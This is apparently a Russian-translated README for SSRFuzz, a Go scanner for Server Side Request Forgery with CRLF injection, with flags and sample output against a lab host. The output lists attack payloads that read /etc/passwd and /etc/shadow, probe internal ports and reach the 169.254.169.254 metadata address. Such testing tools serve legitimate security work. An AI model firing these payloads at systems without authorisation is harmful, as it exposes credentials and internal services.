
SSRFuzz — это инструмент для поиска уязвимостей Server Side Request Forgery с возможностями CRLF-сцепления.
SSRFuzz — это инструмент для поиска уязвимостей типа Server Side Request Forgery (SSRF) с возможностью объединения с CRLF-инъекциями.
Выполните следующую команду для установки:
go get -u github.com/ryandamour/ssrfuzz
██████ ██████ ██▀███ █████▒█ ██ ▒███████▒▒███████▒
▒██ ▒ ▒██ ▒ ▓██ ▒ ██▒▓██ ▒ ██ ▓██▒▒ ▒ ▒ ▄▀░▒ ▒ ▒ ▄▀░
░ ▓██▄ ░ ▓██▄ ▓██ ░▄█ ▒▒████ ░▓██ ▒██░░ ▒ ▄▀▒░ ░ ▒ ▄▀▒░
▒ ██▒ ▒ ██▒▒██▀▀█▄ ░▓█▒ ░▓▓█ ░██░ ▄▀▒ ░ ▄▀▒ ░
▒██████▒▒▒██████▒▒░██▓ ▒██▒░▒█░ ▒▒█████▓ ▒███████▒▒███████▒
▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░ ▒▓ ░▒▓░ ▒ ░ ░▒▓▒ ▒ ▒ ░▒▒ ▓░▒░▒░▒▒ ▓░▒░▒
░ ░▒ ░ ░░ ░▒ ░ ░ ░▒ ░ ▒░ ░ ░░▒░ ░ ░ ░░▒ ▒ ░ ▒░░▒ ▒ ░ ▒
░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
░ ░
===============================================================
SSRFUZZ 1.2
от Ryan D'Amour @ryandamour
===============================================================Сканер для всех ваших нужд по фаззингу SSRF
Использование:
ssrfuzz scan [флаги]
Флаги:
-b, --call-back string Добавить callback для фаззинга SSRF (например: https://github.com/ropnop/serverless_toolkit/tree/master/ssrf_slack)
-c, --cookie string Cookie для использования в запросах
--crlf-path Добавить CRLF-пейлоады ко всем доступным путям (например: site.com/%0Atest.php)
--delay int Время ожидания между запросами в миллисекундах (по умолчанию 100)
-d, --domains string Файл с доменами и параметрами для сканирования
-h, --help справка по команде scan
-x, --http-method string HTTP-метод — GET или POST (по умолчанию "GET")
-o, --output string Файл для сохранения результатов
--skip-crlf Пропустить фаззинг CRLF
--skip-network Пропустить фаззинг сети
--skip-scheme Пропустить фаззинг схем
-s, --slack-webhook string Webhook Slack для отправки находок в канал
-t, --threads int Количество потоков для запуска ssrfuzz (по умолчанию 50)
--timeout int Время ожидания закрытия соединения, которое может зависнуть (по умолчанию 10)
-u, --user-agent string User-agent для запросов (по умолчанию "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36")
-v, --verbose Подробный вывод
Использование:
echo "http://url_to_fuzz" | ssrfuzz scan
cat file_of_domains.txt | ssrfuzz scan
ssrfuzz scan -d file_of_domains.txt
* Сканирование с HTTP и схемами, включая CRLF:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan
[!] Совпадение по схеме:
* http://192.168.1.10/test.php?u=file://etc/passwd 200
[!] Найдены интересные пейлоады
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.ph?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500
[!] Найдены интересные пейлоады
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* Сканирование только HTTP-пейлоадов с CRLF:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme
[!] Найдены интересные пейлоады
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* Сканирование только HTTP-пейлоадов без CRLF:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme --skip-crlf
[!] Найдены интересные пейлоады
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500
* Сканирование только пейлоадов схем без CRLF:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-network --skip-crlf
[!] Найдены интересные пейлоады
* http://192.168.1.10/test.php?u=file:///etc/passwd 200
* http://192.168.1.10/test.php?u=file:///etc/shadow 500
* http://192.168.1.10/test.php?u=file://169.254.169.254/ 500
Приветствуются pull request'ы. Для крупных изменений, пожалуйста, сначала откройте issue, чтобы обсудить, что вы хотели бы изменить.
Пожалуйста, не забывайте обновлять тесты при необходимости.